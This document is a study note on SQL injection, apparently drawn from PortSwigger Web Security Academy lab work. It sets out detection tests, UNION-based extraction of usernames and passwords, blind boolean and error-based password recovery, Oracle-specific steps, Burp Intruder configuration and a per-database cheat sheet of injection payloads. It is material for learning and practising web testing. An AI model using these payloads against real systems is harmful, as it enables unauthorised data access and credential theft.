SQL Injection

Source: PortSwigger Web Security Academy Author: Johan Beysen

1. What Is SQL Injection?

SQL Injection (SQLi) is a web security vulnerability that lets an attacker manipulate the SQL queries an application sends to the database. Instead of sending ordinary input, you inject SQL code — thereby altering the underlying query itself.

This can lead to:

Viewing data that shouldn't normally be visible
Modifying or deleting data in the database
Escalating to the underlying server or other back-end infrastructure
Denial-of-service attacks

Where does SQLi occur most often?

SQLi vulnerabilities are most often found in the WHERE clause of a SELECT query — but they can occur in any part of a query: UPDATE, INSERT, ORDER BY, table names, column names...

2. Detecting SQLi

Manual detection is done through a systematic series of tests on each entry point:

Test	What you're looking for
A single quote `'`	Errors or anomalies
SQL-specific syntax	Baseline value vs. a deviating value
Boolean conditions `OR 1=1` / `OR 1=2`	A difference in the response
Time delay payloads	A difference in response time
OAST payloads	Out-of-band network interaction

Burp Scanner

As an alternative, you can quickly and reliably find the vast majority of SQLi with Burp Scanner.

3. Retrieving Hidden Data

Picture a webshop that shows products by category. When the user clicks 'Gifts':

https://insecure-website.com/products?category=Gifts

The underlying SQL query:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

The released = 1 restriction hides unreleased products.

3.1 Comment Injection

By adding -- (the SQL comment indicator), the rest of the query gets ignored:

https://insecure-website.com/products?category=Gifts'--

Resulting in:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
--                                                   ^^^^^^^^^^^^^^^^ ignored

Result: all products are shown, including unreleased ones.

3.2 OR 1=1 Injection

https://insecure-website.com/products?category=Gifts'+OR+1=1--

Resulting in:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Since 1=1 is always true, the query simply returns everything.

Danger of OR 1=1

Be careful with OR 1=1. Applications often reuse data from one request in multiple queries. If your condition ends up in an UPDATE or DELETE, you might accidentally destroy data.

4. SQL Injection UNION Attacks

With UNION, you can append the results of an extra SELECT query to the original query. This lets you retrieve data from other tables.

SELECT name, price FROM products
UNION
SELECT username, password FROM users

Two requirements for a working UNION

Both queries must return the same number of columns
The data types per column must be compatible

4.1 Determining the Number of Columns

Method 1 — ORDER BYMethod 2 — UNION SELECT NULL

Increase until you get an error:

Gifts' ORDER BY 1--   → works
Gifts' ORDER BY 2--   → works
Gifts' ORDER BY 3--   → works
Gifts' ORDER BY 4--   → ERROR → so 3 columns

Add NULLs until there's no error:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--   → works → so 3 columns

Why NULL?

NULL is datatype-neutral — it always matches, regardless of the column type. Hence NULL and not 1 or 'a'.

4.2 Finding Usable String Columns

Once you know the number of columns, figure out which columns accept strings:

' UNION SELECT 'a',NULL,NULL--   → error? column 1 is not a string
' UNION SELECT NULL,'a',NULL--   → works? column 2 is usable
' UNION SELECT NULL,NULL,'a'--   → ...

4.3 Column Padding with NULL

If the target table has more columns than your injection table, pad the surplus with NULL:

' UNION SELECT username, password, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
FROM users--

sqlmap

sqlmap does this automatically. Doing it manually is useful to understand what's happening, but in a real engagement you let sqlmap do the dirty work.

4.4 URL Encoding

In a URL, a space isn't valid. + is the shorthand URL encoding for a space:

' UNION SELECT NULL,NULL--              (readable version)
'%20UNION%20SELECT%20NULL,NULL--        (formal URL encoding)
'+UNION+SELECT+NULL,NULL--              (shorthand with +)

Burp Repeater

In Burp Repeater you just type spaces — Burp handles the encoding automatically.

4.5 Multiple Values in One Column (CONCAT)

If you only have one usable column, you can combine multiple fields:

Oracle / PostgreSQLMySQL / MSSQL

' UNION SELECT username || '~' || password FROM users--

' UNION SELECT CONCAT(username,'~',password) FROM users--

Result:

administrator~s3cure
wiener~peter
carlos~montoya

Concatenation syntax

Every database has different concatenation syntax. Consult the SQL Injection Cheat Sheet (section 7) for the correct format per database.

4.6 Querying the Database Structure

MySQL / MSSQL / PostgreSQLOracle

-- Listing tables
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

-- Columns of a specific table
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns
+WHERE+table_name='users_abcdef'--

-- Listing tables
'+UNION+SELECT+table_name,+NULL+FROM+all_tables--

-- Columns of a specific table
'+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns
+WHERE+table_name='USERS'--

Oracle exception

Oracle uses ALL_TABLES and ALL_COLUMNS instead of information_schema — you'll definitely run into that exception in the PortSwigger labs.

5. Database Fingerprinting

Always do this first

Always fingerprint before you start exploitation. Every database has different syntax — wrong assumptions cost a lot of time.

Database	Version Query
Oracle	`SELECT banner FROM v$version`
Oracle	`SELECT version FROM v$instance`
Microsoft SQL	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

Fastest Oracle check: if SELECT '' FROM dual works without an error → an Oracle database.

Sometimes the HTTP response doesn't show the query results — and no error messages either. UNION attacks are then useless. In that case, you use Blind SQLi.

6.1 Conditional Responses (Welcome Back)

If the application shows a visible difference based on true/false:

-- Condition TRUE → "Welcome back" is visible
xyz' AND '1'='1

-- Condition FALSE → no "Welcome back"
xyz' AND '1'='2

Retrieving a password character by character via binary search:

-- Is the first character > 'm'?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

-- Is the first character > 't'?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

-- Is the first character = 's'?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

SUBSTRING syntax

SUBSTRING(string, start, length) — SUBSTRING(..., 1, 1) = start at position 1, take 1 character.

6.2 Determining the Length

xyz' AND LENGTH((SELECT Password FROM Users WHERE Username = 'Administrator')) = 20--

Increase step by step until the condition fails — then you know the exact length.

6.3 Automating via Burp Intruder

TrackingId=xyz' AND SUBSTRING((SELECT password FROM users
WHERE username='administrator'),§1§,1)='§a§

Settings:

Setting	Value
Attack type	Cluster Bomb
Payload 1	1, 2, 3 ... (position in the string)
Payload 2	a-z + 0-9 (charset)
Grep - Match	`Welcome back`

Burp Pro vs Community

HTTP 500 = match | HTTP 200 = no match. Burp Community is throttled — Burp Pro runs this at full speed.

6.4 Conditional Errors (No Visible Response)

If the application shows no visible difference, deliberately trigger a database error as a signal:

CASE WHEN (condition) THEN 1/0 ELSE 'a' END
-- Condition TRUE  → 1/0 → divide-by-zero ERROR → HTTP 500
-- Condition FALSE → 'a' → no error              → HTTP 200

Applied to a password:

xyz' AND (SELECT CASE WHEN (Username='Administrator'
AND SUBSTRING(Password,1,1) > 'm')
THEN 1/0 ELSE 'a' END)='a

6.5 Oracle-Specific Syntax

Oracle uses different syntax — this turned out to be crucial in the labs:

-- Concatenation instead of AND
vFrjyzDJZ53fW41J'||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'

Property	MySQL/MSSQL	Oracle
Injection via	`AND`	Concatenation `\\|\\|`
Divide-by-zero	`1/0`	`TO_CHAR(1/0)`
Substring	`SUBSTRING()`	`SUBSTR()`
Dummy table	not needed	`FROM dual`

6.6 Oracle Step-by-Step Approach

Step 1 — Determining the database type

TrackingId=xyz'                              -- error?
TrackingId=xyz''                             -- error disappears?
TrackingId=xyz'||(SELECT '')||'              -- still an error?
TrackingId=xyz'||(SELECT '' FROM dual)||'    -- no error → Oracle!

Step 2 — Verifying the table and user

TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ''
END FROM users WHERE username='administrator')||'

Step 3 — Determining the password length

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'

Step 4 — Character by character via Intruder

TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§'
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'

Reminder

HTTP 500 = match, HTTP 200 = no match. Repeat for each position 1 through 20.

7. SQL Injection Cheat Sheet

Source: portswigger.net/web-security/sql-injection/cheat-sheet

String Concatenation

Database	Syntax
Oracle	`'foo'\\|\\|'bar'`
Microsoft	`'foo'+'bar'`
PostgreSQL	`'foo'\\|\\|'bar'`
MySQL	`'foo' 'bar'` or `CONCAT('foo','bar')`

Substring

Database	Syntax
Oracle	`SUBSTR('foobar', 4, 2)`
Microsoft	`SUBSTRING('foobar', 4, 2)`
PostgreSQL	`SUBSTRING('foobar', 4, 2)`
MySQL	`SUBSTRING('foobar', 4, 2)`

Comments

Database	Syntax
Oracle	`--comment`
Microsoft	`--comment` or `/comment/`
PostgreSQL	`--comment` or `/comment/`
MySQL	`#comment` or `-- comment` or `/comment/`

Database Version

Database	Query
Oracle	`SELECT banner FROM v$version`
Microsoft	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

Database Contents

Database	Query
Oracle	`SELECT * FROM all_tables`
Oracle	`SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME'`
Microsoft	`SELECT * FROM information_schema.tables`
Microsoft	`SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME'`
PostgreSQL	`SELECT * FROM information_schema.tables`
PostgreSQL	`SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME'`
MySQL	`SELECT * FROM information_schema.tables`
MySQL	`SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME'`

Conditional Errors

Database	Syntax
Oracle	`SELECT CASE WHEN (CONDITION) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`
Microsoft	`SELECT CASE WHEN (CONDITION) THEN 1/0 ELSE NULL END`
PostgreSQL	`1 = (SELECT CASE WHEN (CONDITION) THEN 1/(SELECT 0) ELSE NULL END)`
MySQL	`SELECT IF(CONDITION,(SELECT table_name FROM information_schema.tables),'a')`

Time Delays

Database	Syntax (10 sec)
Oracle	`dbms_pipe.receive_message(('a'),10)`
Microsoft	`WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT pg_sleep(10)`
MySQL	`SELECT SLEEP(10)`

Conditional Time Delays

Database	Syntax
Oracle	`SELECT CASE WHEN (CONDITION) THEN 'a'\\|\\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`
Microsoft	`IF (CONDITION) WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT CASE WHEN (CONDITION) THEN pg_sleep(10) ELSE pg_sleep(0) END`
MySQL	`SELECT IF(CONDITION,SLEEP(10),'a')`

Batched Queries

Database	Support
Oracle	Not supported
Microsoft	`QUERY-1; QUERY-2`
PostgreSQL	`QUERY-1; QUERY-2`
MySQL	`QUERY-1; QUERY-2` (limited support)